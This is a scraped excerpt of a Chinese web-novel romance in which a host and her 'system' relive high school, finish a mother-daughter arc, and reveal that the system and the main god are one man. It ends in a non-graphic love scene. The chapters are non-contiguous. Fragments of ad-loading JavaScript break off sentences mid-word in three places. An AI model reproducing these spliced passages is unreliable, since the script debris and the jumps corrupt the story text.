他刚贴完一群人就拥趸上去,任洛年像老大爷闲庭信步“到一群攒动的人头后面,远远地看了一眼。 果然是很“惊艳”的成绩,她:甚至笑了一声。 顾玥看她看了一眼成绩就面无表情地回到自己的座位,试探着走到她身边询问:“彤,你没事吧。” 高彤之前到成绩在班上都是中上,有时候还能考进前三名,但是这次居然都和她差不多的排名,她一时有点担心高彤不能接受。 任洛年转头看着她,笑了笑:“想什么呢,不就一个开学考吗,没事。” 看她没事顾玥也就放心了,毕竟之前每次有一点没考好她都看起来非常焦虑。 “宝宝,你进步太大了,之前没考好还会情绪低落好几天。” 任洛年听完也愣了一瞬,她也没想到高彤这个看起来阳光开朗的女孩也会因为成绩情绪低落。她没说什么,笑了笑低头继续看题。 那个这几天跟哑巴一样的系统突然破天荒地叫了她一声。 “在?” 任洛年挑了挑眉:“你有事?” “晚上来我家?” 这句话没头没尾,任洛年疑惑地皱眉:“啊?” “”不是不喜欢在学校上晚自习吗?” 学校对面就是一个小区,近乎一半的住户都是学校的学生和陪读的家长。有些不想住校但家又很远的学生就会让家长在那里给自己租一间房子和同学一起住。系统一直住里面任洛年是知道的。 她想着刚好可以和系统当面商量一下任务的事就答应了。 在答应之后,她像是随口一问:“考得怎么样?” 系统也是随口一答:“还行吧,前几名。” 任洛年一脸难以置信,甚至语气有点急切:“你不是失忆了吗?” “谁知道呢,做几套题就想起来了。”其实每天刷题到凌晨。 按理说他作为一个转校生,之前的成绩大家都不知道,所以就算考得不好也没什么压力,但是他也不知道为什么,脑子里像是有什么在强制他一样,让他一直产生必须考好的念头。 听见对面的语气还带了一些看似漫不经心的嘲讽,任洛年啧了一声。 “自己要问,说了你又不高兴。” 没回他,任洛年黑着脸兀自切断了联系。 已经过去这么多年了,她那些隐藏得很深的嫉妒又开始叫嚣,让她感觉莫名的焦躁。 30. 独一无二 高三的进度条在一场接一场的考试里被消磨。同学们还没从开学考里走出来,月考就接踵而至。 经过将近一个月的刻苦学习,任洛年心里渐渐有些底。虽不至于将知识融会贯通,但也比一无所知要好很多。进考场之前她争分夺秒地看着书,先做了一个深呼吸再走进去。 考试期间比平时无缝衔接的课程安排要轻松很多,任洛年甚至感觉到久违的放松。 晚上去系统家里的时候大家都自觉安静自习,很少有人再打游戏。偶尔有人蠢蠢欲动想对答案也被及时制止。 其实任洛年心里完全不抵触对答案,毕竟她读高中的时候成绩好到同学们以她的答案为标答。 为了不影响其他同学的心态,她在脑内悄悄问系统:“我们数学最后一道题是一样的吧,你选的什么?” 系统回忆了几秒,抬眼看她。 “C。” 任洛年皱眉在草稿纸上再算了一遍,得出结果后对系统说:“跟我不一样,那应该是你算错了。” 算错这个词对系统来说很陌生,他也笃定地说:“不可能。” 说这话的时候他抬眼看着任洛年,挑起一边眉毛,看起来充满挑衅的意味。 任洛年也不甘示弱,啧了一声:“那你等着看。” 现在她不在乎这次考试的成绩高低,不在乎有没有进步,就想知道她和系统谁做对了。 在考完的那天,她迫不及待地回教室拿着老师发的答案,第一眼回去找数学答案的选择题最后一道。 刚看见那个醒目的选项时就勾起嘴角,得意地通知系统:“我的才是对的。” 系统冷哼了一声:“你怎么知道我的不是呢?” 两人像小学生吵架一样拉扯了半天,结果发现他们的最后一道题根本不一样。 校对完所有的答案,任洛年发现这次比起上次进步太多了。虽然文科的选择题依然算错得偏多,但也没到只对几个的程度。 毕竟上次点成绩已经低到离谱,她自己都有些难以超越。 第一次月考的成绩在老师口中尤为重要,不仅口头念叨了很久,还把全校排名贴在一楼的墙上。 任洛年吃完午饭和顾玥经过那堵墙的时候看见很多人都站在墙边看,一边看一边指指点点的。 任洛年慢悠悠地走过去,先找到高彤的名字,在前几十名内,虽说进步了不少,但和高彤原来的成绩还是差一截。她一边看一边想还要更努力一点,争取下次重回原来的位置。 看完了文科之后她随意往旁边的理科瞥了一眼。理科的人数远超文科,榜上的人名也密密麻麻比旁边的文科多一大截。 任洛年从后往前看,然后在很靠前的一个醒目的地方看见了一个熟悉的名字。看完她冷哼一声,这人的名次居然比上次还高。 都是重回高中,怎么系统如鱼得水,她却艰难求生。 不过任洛年很快又安慰好自己,要是让她回理科班,她肯定也能取得不错的成绩。 运气好罢了。 可能是顾玥一直在旁边赞叹系统的成绩让她心生不爽,她毫无意识地把心里的想法都说了出来。 “切。运气好而已。” 语气嘲讽,充满不屑。 任洛年和顾玥说话的时候完全没有想到过,这里和一班的教室也就一墙之隔,她们清晰的声音就这样传到安静的教室里。 有些埋头自习的同学听见之后都抬起头面面相觑。 肖远回头看了看后面正在写字的凌一。只见对方拿着笔的手没动,嘴角平直,缓缓抬眼看了他一眼,随即若无其事地低头。 平时毫无波澜的眼神难得透露着戾气。肖远被他看得心里打了个寒噤。 “你脑子进水了吗?” 他的声音低沉冷厉,隐约压抑着怒气。 任洛年还站在贴着排名的墙前,冷不丁听见系统说话被吓了一跳。 “嗯?” “现在全班同学都知道我运气好了。” 任洛年站在原地呆若木鸡,她往一班的教室看了看,心里一凉。 懊悔之意溢上心头,但不是懊悔口嗨说了系统,而是懊悔自己说得太大声被那么多人听见很丢脸。瞬间从脸一路红到脖子,落荒而逃。 ——— 月考完之后,学校一向打一巴掌再给三瓜两枣,在学生身心俱疲之际宣布要开校庆晚会。 任洛年从来没有参与过这一类的文娱活动,对于她来说高中就只有学习,从早到晚的学习。甚至读大学之后也是这样。生活被枯燥的学习和兼职占满,没有一丝喘息的余地。 还记得大学的时候,某天她路过广场的时候看着一群青春靓丽的女孩在跳舞,听说是路演活动。 阳光下她们的每个发丝都发着光,随着音乐舞动着身姿,笑起来明媚自信,任洛年站在原地看得晃神了片刻。但没看多久,她就不得不离开继续匆忙地游走在各个兼职中间。 虽然同在一个学校,但是任洛年感到割裂。她好像和周围的人和事都格格不入。只能像过客一样艳羡地看着别人恣意的青春。 晚会节目的排练很早就开始了,有时候晚自习有节目的同学会出去排练。在繁忙的学习之中还要抽出时间来排练节目,任洛年这个光学习都精疲力竭的人都暗暗佩服她们的毅力。 在晚会要开始的那天,从吃晚饭开始大家都抑制不住心中的兴奋,他们走在路上看见操场上有些穿着漂亮演出服装的人都投去惊艳的目光。 一中的体育馆投入资金巨大,规模宏大,是全区容纳人口最多的体育馆,所以能轻松容纳全校的同学。 到体育馆之后大家按班就坐。任洛年坐在最角落,看着已经就绪的舞台。 还没开始的时候气氛就已经很火热,庞大的体育馆里闹哄哄的。 平时为了学习疲于奔命,好不容易有的娱乐活动让大家都倍感振奋,心情激动不已。在倒计时从10到0的时候,大家跟着屏幕上的数字开始齐声倒数,气氛到达最高点。 置身于其中,任洛年的情绪也被调动起来,虽然她早就毕业很多年了,还是会被这种激动的气氛打动。 在一片欢呼声中,主持人入场。 大屏幕上是她们放大的脸,所有人看完都惊呼出声,任洛年看着画着精致妆容,穿着晚礼服的主持人,呼吸一滞。 她们走路的时候腰背挺直,梳着漂亮的发型,缓缓向舞台中间走去。 旁边的女生一连说了好几个天呐,随即像发现了什么,问任洛年:“那个女生好眼熟,有点像......” 她一直没说出来到底有点像什么,任洛年也随之仔细看了对方的脸,说:“是不是周宵苓?” “哦,对,就是她。” 周宵苓是一班一个成绩很好的女生,漂亮得全校周知,成绩也次次名列前茅,所以认识她的人也很多。 任洛年只是偶然见过她几次也记住了她的长相。 她素颜的时候喜欢扎个马尾,露出光洁的额头,皮肤白皙有光泽,看起来是很有血色的漂亮。现在上了妆更加精致,像一个精致的洋娃娃,任洛年找不到合适的语言形容,只觉得美得像电视上的明星一样。 另一个女主持人是她们班的,也非常漂亮,穿着粉色纱裙,整个人像散发着光泽的粉玫瑰。 她们微微笑着端庄地看着镜头,拿起话筒之后传出优美的声音,一起宣告晚会的开始。 正如学校很多领导说的,高中最重要的是学习,所以在汇演之前的第一项是颁奖仪式。 这次的奖项是按照第一次月考的成绩来设置的,一个年级只有寥寥无几的人能获奖。 任洛年远远就看见系统走上台,还是那副漫不经心的样子,在颁奖的同学把奖牌给他的时候说了一句谢谢。 只是一个形式,所以奖牌也只是一个看起来就很劣质的牌子,他只瞥了一眼就再没看过,转身就准备离开。 结果被颁奖的礼仪人员叫住说还有拍照留念的环节,于是他转过头来,换了一个随意的站姿,微抿着嘴看向镜头,额前的头发被吹得有些向后,在灯光下看起来颇有点意气风发的样子。 当镜头对向他时,屏幕上能清晰地看到他那张恣意帅气的脸,眼神还是透露着一股什么都无所谓的散漫。 任洛年清晰地捕捉到这张脸引起的此起彼伏的赞叹。 她坐在很远的地方看着站在台上的他,在闪光灯亮起又熄灭的那一瞬间心里一动。 不知道为什么,她好像有点懂电视里那些青春期少女懵懂又找不到缘由的情愫。 像是被什么指引,她拿出手机敲敲放大拍了一张照片,随即再若无其事地把手机放回校服口袋里。 等颁奖典礼结束后就是五花八门的表演,有节奏感很强烈的女团舞,有穿着仙气飘飘的长裙的古风歌曲舞蹈,也有合唱,独唱。 顾玥也参与表演了一个唱歌的节目。任洛年都没想到她藏得这么深,虽然平时看着大大咧咧,在舞台上穿着白色的裙子唱歌的样子像仙女一样,歌声甜美,笑起来嘴角有两个酒窝,任洛年盯着大屏幕上她的脸!不自觉地笑起来。 有才华的少年少女在舞台上展示着自己,自信又靓丽。大屏幕上是他们一张张漂亮的脸和优美的舞姿。任洛年一晚上被震撼了好几次。 等一切结束的时候,他们三三两两起身离开体育馆,再走回教室收拾东西。 这种近乎膨胀的喜悦一旦消散就会带来无比的空虚,在回教室的路上,随着晚风一起消散的还要刚才那种激动的心情。 任洛年莫名有种怅然若失的感觉。 旁边的同学路上兴高采烈地讲着今天看到的节目,旁边也有几个人附和着。 “第一个节目的那个姐姐,我天,太漂亮了,我还以为是真的明星呢?” “对对对,唱歌的那个女生唱得也很好听,她的声音特别空灵。” ...... 任洛年没说话,在回教室之后也沉默地收了书本,想着顾玥让她等着就坐在原地看了一会儿教材,但是不知道为什么这些字句像游鱼一样在在脑海中划过去,等反应过来她才发现自己什么也没看进去。 顾玥进教室的时候 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 低头自习的同学都抬眼看过去,她毫无察觉地走回座位,任洛年笑着转头,压着声音轻轻对她说:“今天很漂亮,唱得也很好听。” 她刚才表演的服装没换,脸上的妆容也没擦干净,对着任洛年俏皮地眨了下眼睛。随即她们一起下楼,在大部分人都穿着校服的学校里,顾玥这身打扮引来不少人围观。 任洛年听着她说话,刚走到校门口就看见系统站在门口,看他朝这边看过来, 系统看见她们之后没说话,点点头,往马路对面走着,刚走几步就被几个人追上。 他们跑得气喘吁吁的样子,手里还一人提了几袋零食。任洛年诧异地看着他们,其中一个笑起来很阳光的男生解释道:“庆祝一下!” 说完又很随意地揽着系统的肩膀,但因为身高不太够动作很勉强,从背后看起来很滑稽。大家调笑着走到小区里。 也许是晚会带来的兴奋还未消散,一路上大家欢声笑语。任洛年和顾玥走在最后面,仿佛和前面热闹的人群隔离开来。 饶是对情绪感知不怎么敏感的顾玥也看出来任洛年的不对劲,她轻声问旁边那个一言不发的人:“彤,你怎么了?” 突然被问到,任洛年连忙转头说:“没怎么啊?” “你肯定有事,说不说?” 她知道高彤的弱点,于是作势去挠她的脖子。任洛年被痒得缩进了脖子往后退,一时笑个不停,连连求饶。 对方紧追不舍,她没有办法只能求饶:“我说,我说,不要再乱动了!” 顾玥驻足看着她,表情非常严肃:“说吧,为什么自从晚会结束之后就不高兴?” 任洛年往前面看了看,同学们还在笑着说话没注意这边的动静,小区绿化很好,树木繁茂地遮挡住路灯微弱的光芒,看起来漆黑一片,就算面对面站立,表情也难以捉摸。 她轻声开口,像是有些难为情。 “没有不高兴吧,就是觉得你们都有一技之长,要么会跳舞,要么会唱歌,敢大方地去展示自己。” 她想起今天看到的一幕幕精彩的表演,每一个都牵动着台下观众的情绪,大家为他们欢呼喝彩。 像轻轻叹了口气,她继续说:“可是我好像什么也不会,没有突出的才能,没有漂亮的外表。”甚至也没有讨人喜欢的性格。 有的人像是装着宝藏的箱子,越翻越有惊喜。而任洛年觉得自己就像一个旧抽屉,里面只有陈旧的老物件,让人连打开的欲望都没有,更别说惊喜。 听见她这个说法,顾玥像是有些苦恼,皱眉想了很久才开口。 “每个人都是不一样的呀,你身上也有别人没有的优点,怎么说呢,我不是一个很会表达的人,我知道这种说法也很无力,但是彤,你只要存在,就是独一无二的。” 任洛年看着她因为安慰自己而苦恼的样子心里想着不该在这个时候说这些的,或许她是一个很扫兴的人。 刚进门任洛年就走到老位置打开书包,动作熟练地拿出作业,摆好随即拿出笔就开写。 “我没看错吧,高彤,今天你还学?” 说话的女生叫夏沅,是高彤的同班同学,和顾玥的关系更好一些。 顾玥倒是一副习以为常的样子坐到任洛年旁边安安静静地玩手机,仔细看才发现她连书包都没拿。 除了任洛年和系统还勤勤恳恳地坐在那里写题,其他人都没学习的心思,要么坐在沙发上玩手机,要么吃着东西说话。 顾玥和夏沅说话的时候像是看见了什么,起身朝客厅的角落走去。 她指着一把吉他对系统说:“这是你的吗,你还会弹吉他?” 系统坐在任洛年对面看她写题,听见她问转头瞥了一眼:“是。” 顾玥轻轻摸了一下,随即问:“那我可以用一下吗?” “随便。” 任洛年心想他怎么在做到失去记忆的同时只记得这些技能,于是挑眉看他:“还记得?” 系统没当面回复她,只是在脑内告诉她:“不记得,但要面子。” 任洛年低头闷闷地笑了几声,继续做题。 顾玥拿起吉他随意拨了一下弦,吉他发出清澈的声音。 随即她抱着吉他走到桌子边,清了清嗓子:“咳,现在就由我来献歌一曲。” 听见她的动静大家都看过来。任洛年也放下手中的笔抬眼认真看着她。 高彤迎上她的目光,轻轻笑了。 “这首歌送给我的好朋友,高彤。” 任洛年有些惊讶地歪头指着自己。顾玥欣然点点头:“没错,就是专门唱给你的。” 随即她的手指轻轻拨动吉他弦,她的声音轻柔甜美和吉他的声音重合,像一场久别重逢的幻梦。大家都安静地听着,脸上带着笑意。 任洛年看着她唱歌时带笑的眼神,心像被冬日暖暖的太阳烘着。要不是一直尽力克制,可能眼眶已经湿润。 优美的音调像在房间里飞舞,任洛年之前从来没有听过这首歌,不知道歌名。但是她很清晰地听见一句歌词。 你永远都是独一无二的女孩。 37. 照片 高萍听见这句没头没尾的话一时愣在原地,轻轻皱起眉头,像有些诧异地看着眼前的人。 “我不知道怎么给你解释,很抱歉骗了你,但我真的不是高彤。你可以把我当成帮她完成愿望的人。” 刚说完,任洛年把手上的本子递给高萍。 对方接过之后轻轻翻页,阅读的时候非常认真,像是要把本子看出个洞。 文字是承载感情和回忆的,她们之间的点点滴滴被高彤记录下来,写得很简洁,但高萍能凭这些简单的文字想象出她们在一起时的样子,她一边翻页一边落泪。 看到最后一页的时候她已经泣不成声,这是她这几天第三次在任洛年面前露出这样脆弱的表情。 “高彤她希望你在没有她的未来也过得幸福,我知道现在要接受这一切很难过,但是迟早会有释怀的那天。” 这个安慰非常无力,任洛年自己心里也清楚,但她没办法只做一个冷漠的旁观者。 高萍一边摇头一边痛哭,任洛年看见她那双这几天像是随时都在落泪的眼睛,不忍心再看下去。 等能缓过气来,高萍才开口:“可是我接受不了没有她的生活。” 她的声音很嘶哑,像是接近崩溃。 任洛年看着她,不知道该说什么,她知道任何人也没有办法完全共情另一个人的感受,只是用手轻轻拍了拍高萍的背。 不知道过了多久,高萍才拭去眼泪。 看她情绪好了一点,任洛年才继续开口:“高彤只是希望你拥有选择接下来生活的权力。她实在太爱你了,你看,我能出现在这里就证明了这点。” 高萍听完这句话点点头,拿着本子默默走出房间门。 出乎意料的,这几天她都没再提这件事,还算像往常一样照顾任洛年,像是把她当成真正的高彤一样。 虽然任洛年答应了主神用上道具,这几天身体没有任何不适,但还是一直躺在床上,像是为了配合高萍演的一场戏。 在某一天,阳光很好,高萍心情也突然变得很好,早起就笑着让任洛年和她一起出门。任洛年笑着点头应了,她被高萍搀着起身,穿着高萍给她买的衣服出门。 高萍也穿着那套类似母女装的衣服,她甚至打扮了一下,一扫这几天疲惫又颓丧的形象。 公园的银杏树叶子繁茂,但在晚秋已经全部变成金黄色,一眼望去黄灿灿的一片,很多人在树下拍照。 这里的树似乎格外懂风情,在她们拍照的时候悄悄落下几片树叶,飘散在镜头前面,寂寥又唯美。 看着她们笑嘻嘻地拍照,任洛年感觉心里也升起一股难以名状的喜悦。不知不觉就看得入神。 这时候高萍轻轻拍她的肩:“又发呆呢。” 笑着摇摇头,任洛年没说话。 高萍也没看着她,眼睛看着前面的某处,又像是没有聚焦到一个具体的地方,沉浸在回忆里。 “你小时候我也带你在银杏树下拍过照,现在家里的相册还有这张照片。” 旁边的任洛年只是笑着应了一声,没打断沉浸在回忆里的高萍。 高萍像是想到了什么,突然笑了一声,对旁边的任洛年说:“如果以后你不在的话,那我只能和别人来拍了,拍完给你看好不好?” 这句话意味深长,任洛年在听见的第一瞬间皱起眉,不确定是不是她想的那个意思,直到听见那个熟悉的机械提示音。 —滴,完成重大节点,联系度+50,目前总联系度100,宿主可以随时脱离世界线。 任洛年这才明白,经过这么多天高萍终于接受了这个事实,并且愿意再好好生活下去。 这种强大的接受能力和乐观的心态让她再一次觉得面前的这个女人当真是无比的强大。 她看着对方的眼睛,转头后轻轻把头靠在她肩膀上。 落叶还在飘零,不知道是不是因为有一道风,金黄的叶片被吹到任洛年面前。她伸手拿起面前的叶片,仔细看了看叶子上的纹路。 高萍也同她一起看着手里的叶片,都没说话,在一片秋风中沉默。 就在树下的椅子上坐了很久,久到拍照的人换了一批又一批,欢声笑语散尽,只剩下堆着一些树叶的地面。 靠在肩上的人突然开口:“我可能要走了。” 没人回应。 过了很久,旁边的人才把她抱在怀里,像是压抑着哭声,开口:“让妈妈再抱你一下,求你了,不要太快离开我。” 任洛年也抱紧对方。 “可以的。” 这个拥抱太久了,久到任洛年脑子里回想了一遍这些天发生的事对方才渐渐松手。 高萍用眷念的眼神看着面前的人,她看见对方笑着给她挥手,她知道自己要第二次失去高彤了,突然好像四周都安静了,她的世界也是。 任洛年闭上眼,轻轻告诉系统:“可以了,脱离世界线。” 对方嗯了一声,随即等她再睁眼的时候发现自己已经在那个房间里了。 ----- 在任洛年离开之后,高萍独自一人在椅子上再次哭得狼狈。风像是感受到她的伤心,突然加大力度穿过,触感就像是有人在抚摸她的脸。 她捂着脸任眼泪滑落,视线模糊不清,四周的一切像是一场光怪陆离的梦境。 等她平复下来之后缓了好久才站起身准备独自一人离开原地。 在她走到树边的时候,一个男生走过来。他穿着休闲的风衣,看起来很年轻,五官是一眼看过去就能看到的帅气,手里拿着一张照片。 他叫住面前高萍,开口:“你好,刚才我在远处拍到了一张你和你女儿的照片,现在把它交还给你。” 高萍低头看见照片的第一眼就移不开视线,她缓缓伸手拿过男生手里的照片。 照片构图很简单,她和高彤坐在树下的椅子上,高彤把头靠在她的肩上,拿着个叶片像是在笑,她的视线也落在叶片上。 色调是独属于秋日的温馨,背后是金黄一片的树林,而母女两人视线在叶片上交汇。 她看了很久才像对待宝贝一样把照片小心翼翼地揣进兜里。想离开的时候才反应过来,正想抬头谢谢那个男生的时候发现四周已经空无一人,他不知所踪。 ----- 躺在床上的任洛年对此一无所知,她迷茫地望着天花板,突然想起为什么系统之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前会问她需不需要多休息几天。这个世界线太废人了,她现在感觉自己没个一年半载走不出来。 系统不知道刚才去哪里了,联系他也不在,任洛年只能趴着发呆。 思绪不知道已经飘到哪里去了,她被一个声音唤回。 “怎么不睡觉?” “你怎么才回来,我刚才找你找了好久。” 她说完感觉这句话有点埋怨的意味,自己都顿了片刻,好在对方没发觉有什么不对,很耐心地回她:“你找我什么事?” 她试探着开口:“我能不能去见主神一面?” 系统听完沉默了几秒,开口:“你不是可以直接联系到他?” 话是这么说,但现在如果要让任洛年在他们两人之间选一个可以信赖的人她还是会选系统,毕竟算是这么久的同事。 她和主神相处的时间很少,况且这个主神对很多事情的态度都模糊不清,给她一种难以捉摸的感觉。 她没回答系统的问题,只是追问:“可以吗?” “可以,但不要今天去,再等等。” 任洛年也没有那么急切,听完点点头,像是突然想到什么,她像是随口一问;“你就长我看见的那样吗?” “差不多。” “不是说不能让系统不能在宿主面前露出自己真正的样貌吗?” “所以我说的是差不多。” 差不多,也就是说他本人的长相可能还是和任洛年看见的有差别,任洛年像是沉思一样闭上眼睛,然后就这样趴在枕头上睡着了。 系统没再打扰她,自己切断了通讯。 等他离开之后,躺在床上的人不知道梦到了什么,突然皱起眉,像是睡得很不安稳的样子。 不知道什么时候开始,一个人站在床边俯身轻轻抚平她紧皱的眉头。 系统这次没被取消权限,坐在椅子上看着床前那个和他长得一模一样的人,看见他做出的动作之后眼眸一沉,随即起身朝走廊深处走去。 主神回控制室的时候就看见自己的位置上坐着另一个和自己长相毫无差别的人,对方似乎也听见他的动静,转过身来面对着他。 他轻微挑起一边的眉,等待对方开口。 静默的室内传来一个冷冽的声音:“这又是你的什么计划?” 主神没回答他,径直走到桌前,两人一坐一立对视着,在一片昏暗的控制室内,视线彷佛能闪出火星。 他用那双彷佛永远淡漠的眼睛迎上对方的视线,一字一顿道:“一个工具而已,不需要知道这么多。” 对方不逞多让地笑了一声,虽然表情没有任何笑意。 “到底谁是工具,你清楚吗?” 说完他兀自起身,拿起桌上的文件走出门。刚出门的时候系统感觉到一股电流通过的声音,以为是错觉只是顿了片刻,没有细究. 在他在走廊的时候突然感觉一阵空白,随即大脑像突然被植入记忆一般,眼前全是各种陌生的画面。 而画面里所有的内容都和任洛年有关。 “滴,任务失败,世界线重启,第一次重启” “第二次重启” ...... 42. 沉沦 骤然从梦中醒来,任洛年像是缺氧了很久一样急促地呼吸,等缓过来之后,她才轻轻靠在床头。 外面是清晨的蓝色天空,风吹起窗帘一角,冷空气骤然进入房间,她轻轻打了一个喷嚏。 刚准备下床的时候就发现窗户像受到什么外力作用一样自己关上,猜到是有人刻意为之,她坐回床上。 “醒了?“ 系统的声音让她觉得很像这个清晨的风,扑面而来又携着寒意,但是很轻,像纱布落在脸上一样。 “嗯。” 不知道是不是因为梦境太过压抑,现在能再听见他的声音,任洛年感觉很踏实。 “好久不见。” 这句话让任洛年轻轻皱了眉,做梦也像回去经历了一遍之前的事情,她感觉自己和系统已经很久不见了。 但是系统为什么也会这样说,她歪头问:“不是就一晚上吗?” “我感觉过了很久。” 也许是主神有意为之,走廊上他突然被强行唤起一段记忆。这段记忆里他还是系统,宿主也依旧是任洛年。 每一次世界线重溯他们都会忘记对方,但在那些一次次重现的时空里,他们还是会不受控制地一起沉沦。 他记得在任洛年深夜睡不着的时候靠在他身上听他讲故事,他也记得他们一起憧憬回原世界线之后的未来。 所以现在他说好久不见。 任洛年再迟钝也能感觉他这句话里有不对劲,但她现在还有很多疑问要填补,需要一个一个去解决,于是她转移话题:“你不是说今天可以见主神了吗?” 听见她坚持不懈地问这件事,系统啧了一声:“就这么想见他?” “我有很重要的问题要问他?” 看对方没反应,任洛年补了一句:“拜托。” 不知道他和主神之间有什么梁子,任洛年本来还打算再求求他,结果他颇为勉强地答应了。 和进入新的世界线一样,她只闭上眼睛过了几秒就感觉自己已经到了另一个地方。她睁开眼,面前是深不见底的走廊。 “沿着走廊一直走到尽头,右边那扇门里就是主神的控制室。” 他说完之后就没有了声音,任洛年一个人朝走廊尽头走去。 她一边走一边打量着走廊周围,除了冷冰冰的墙壁没有任何装饰,她只能收回视线。 还没走到尽头她就看见系统说的门,她加快脚步走到门前,轻轻深呼吸了一下,随即礼貌地按了门铃。 按了两次都没反应,在第三次手还没触摸到门铃的时候听见门打开的声音,她轻轻一推,走进去。 她怀疑这个地方还没有发明电力,因为房间里比走廊还要昏暗,她只能接着不知道哪里来的光摸索着朝前走。 走过转角,她发现眼前亮了很多,而这个光居然是对面的高楼大厦。全景的玻璃窗透露出的城市夜景有说不出的震撼,她屏息看了片刻。 这是身后的一个地方突然有点动静,这个动静转瞬即逝,就好像是专门吸引她的注意。 任洛年这才发现身后的沙发上似乎有一个人,她不敢确定,只能往前走慢慢凑近。 走近了她才看清,是一个男人仰躺在沙发上,发丝没有刻意打理,散落的时候有些遮眼。 她皱眉走近,看清男人的面容之后瞪大眼睛,藏在心里很久的猜测得到证实。 于此同时黑暗中对方也睁开眼睛,像黑夜里蛰伏的野兽。视线交汇上的那刻任洛年一些隐约的猜想得到解答。 空气中弥漫着一股淡淡的酒味,整个房间安静得仿佛和外界隔离。两人都很沉默,谁也没开口说话。 对方移开视线,缓缓坐起身,换成一个漫不经心的姿势坐在沙发上,眉宇间透露着阴郁。 “你来了。” 看来他之前的声音是经过修改的,现在已经变回他原本的声线。 任洛年走到他面前,没先追问,只是轻声问:“喝酒了?” 对方没否认,轻轻嗯了一声。 有多少次的重溯就以为着多少次的失去,每一次眼睁睁地看着对方离开却无能为力,这种无力都要他一个人承受。 有时候即使他这种极度自律的人也会陷入不可控的情绪,甚至到了依靠酒精来缓解的地步。 不知道为什么,任洛年看见他的神情之后心里有些难受,那种感觉她很陌生,也许是心疼。 直觉告诉她她还遗忘了很多事情,她和林亦慈之间,没有那么简单。 对方像是看见她皱眉,朝她伸手。任洛年把手递给他,随即被对方揽到他的腿上。 第一次靠这么近,还是以这种暧昧的姿势,她心跳快得能清晰地听见。不过她不抗拒这种接触,没挣扎,只是垂眼看着林亦慈。 对方迎上她的视线:“想问什么?” 也许是喝了酒,声音带着点哑。任洛年感觉脸很烫,有些庆幸这里的昏暗环境。 思考了一下,她说:“系统的真实身份又是什么?” 林亦慈听见她第一个问题居然还是系统,啧了一声,问:“就这么关心他?” 这个反应让任洛年觉得和系统一模一样,细想之下,他们两个的性格行为都很像,甚至长相也…… 难道说林亦慈有什么亲弟弟?她一向瞒不住事,问了出口。 她这种揣测让对方笑了一声,说:“那你更喜欢我还是我…弟弟?” “啊?” 任洛年被他这个奇怪的发问打得措手不及,直直地看着林亦慈,没开口。 身下的人眼神带着笑意,在她耳边悄悄说了几句话,任洛年听完震惊地说不出话来。 也就是说,系统和主神其实都是林亦慈。但是系统回溯时间线之后的林亦慈。 但是她这个人一向接受能力强,花了大概一分钟,她接受了这个事实。 本以为这个事就这么过了,结果林亦慈冷不丁地开口:“那现在我和他你选谁?” 原来在这里等着她,任洛年无奈地闭眼。感觉这种问题就像问小孩喜欢爸爸还是喜欢妈妈,提出问题的人肯定不怀好意。 她组织了一下语言睁开眼说:“你们不都是一个人吗?喜欢谁不都是一样吗?” 结果对方显然对她这个回答不满意,眼神暗了下来,锐利的眉眼此刻看起来攻击性十足。任洛年连忙改口:“那当然还是更喜欢你。” 说完她才意识到自己被对方一直引导,迷迷糊糊的不知道为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么突然就发展到喜欢这一步了。 她手放在对方肩上,问:“那我的记忆呢?你什么时候给我恢复。” 对方没直接给她回复,只是问:“你愿意什么时候想起来?” “现在。” 她说这话的眼神很认真,对方摸了一下她的头,随后手下移盖住她的眼睛。 “可能有点头痛,受不了就给我说。” 这个声音像是靠在她耳边说的,任洛年耳根热起来。 很快,大脑像涌入什么东西一样酸胀,甚至有点痛,随即眼前开始出现各种画面,她像是又走进一段段回忆,抓在林亦慈肩膀上的手收紧了一点。 整个过程不是很久,但她有种莫名的空虚,就像看完整场电影之后那种不真实感。 她突然想起为什么系统会给她说那句好久不见,之前主神的一些奇怪的行为也有了个解释。 原来他们很早之前就在一起过,和普通的恋人一样,只是每一次都没有一个好的结局。 不知道谁给她的胆量,她轻轻凑到对方身上,随即抬头吻了上去。 但是勇气显然不够充足,在接触到对方嘴唇的那刻她突然开始退缩,停顿在原地。 正正考虑如何体面地退开就感觉被按着摇往前,随即嘴唇就被对方含住。 寂静一片的室内现在充斥着暧昧的喘气和令人心跳的水声。视觉被剥夺后其他地方的感官各位灵敏,任洛年感觉浑身都开始发软。 不知道吻到什么时候,她感觉被对方有力的手臂抱起,随即走向卧室。 路过沙发前的茶几时她瞥了一眼,发现桌上的那杯红酒几乎见底,原来他喝了这么多吗? 注意力完全不能集中,混乱的念头在她脑海里升起,直到感觉后背接触到床的时候才反应过来。 在对方覆上来的时候她还有些紧张,慌乱地闭上眼躲开视线。 这时候她脑子里突然听见一个声音,是系统。 “什么时候回来?” 她莫名有种被捉奸在床的慌张,挣扎着要起身。 主神像是察觉到她一瞬间的僵硬,用手轻轻抚着她的脸,问:“怎么了?” 就算现在天塌了她也要瞒着,只能强装镇定地说:“没事。” 这时候系统也咄咄逼人起来,紧抓着她不放:“为什么不说话,你在干什么?” 任洛年被他们逼得想哭,压住喘息回复他:“没事,我…..” 她话还没说完就被眼前的人堵住嘴,发出含糊的声音和止不住的喘息。和系统的联络还没来得及切断,现在就算是傻子也知道她在干什么了。 快要窒息之际,任洛年用意志切断了联络。这时候主神似乎也放过她,给了她一个喘息的机会。 “为什么我就在你面前你还要想他?” 很快就证明这个放过只是暂时的,因为他问完就立刻剥夺了任洛年解释的机会,让她只能发出断断续续的声音。 汗水滴落,在对方的动作下,她抓在对方肩上的手滑落,很快又被十指紧扣地按在一旁的床上,她闭上眼睛不再去看。 这是一个很长的夜晚,不知道过了多久室内的动静才渐渐变小,只留下两道交织的喘息。 48. 终章 他这话让这几个人面面相觑,一时没一个人开口。 隔了一会儿,房间里又来了一个穿着黑衬衫带着眼镜的人。这个人一看起来就是级别更高的员工。他走进来的时候对着周围的人点头致意他们离开。 随即他径直走到林亦慈面前,微笑着开口:“01号系统您好,您的举报我们已经收到,现在我们上级部门有人想邀请您见面,麻烦您跟我走一趟。” 语气很恭敬,但也没给他拒绝的机会,林亦慈抬眼看他,点头跟他走了出去。 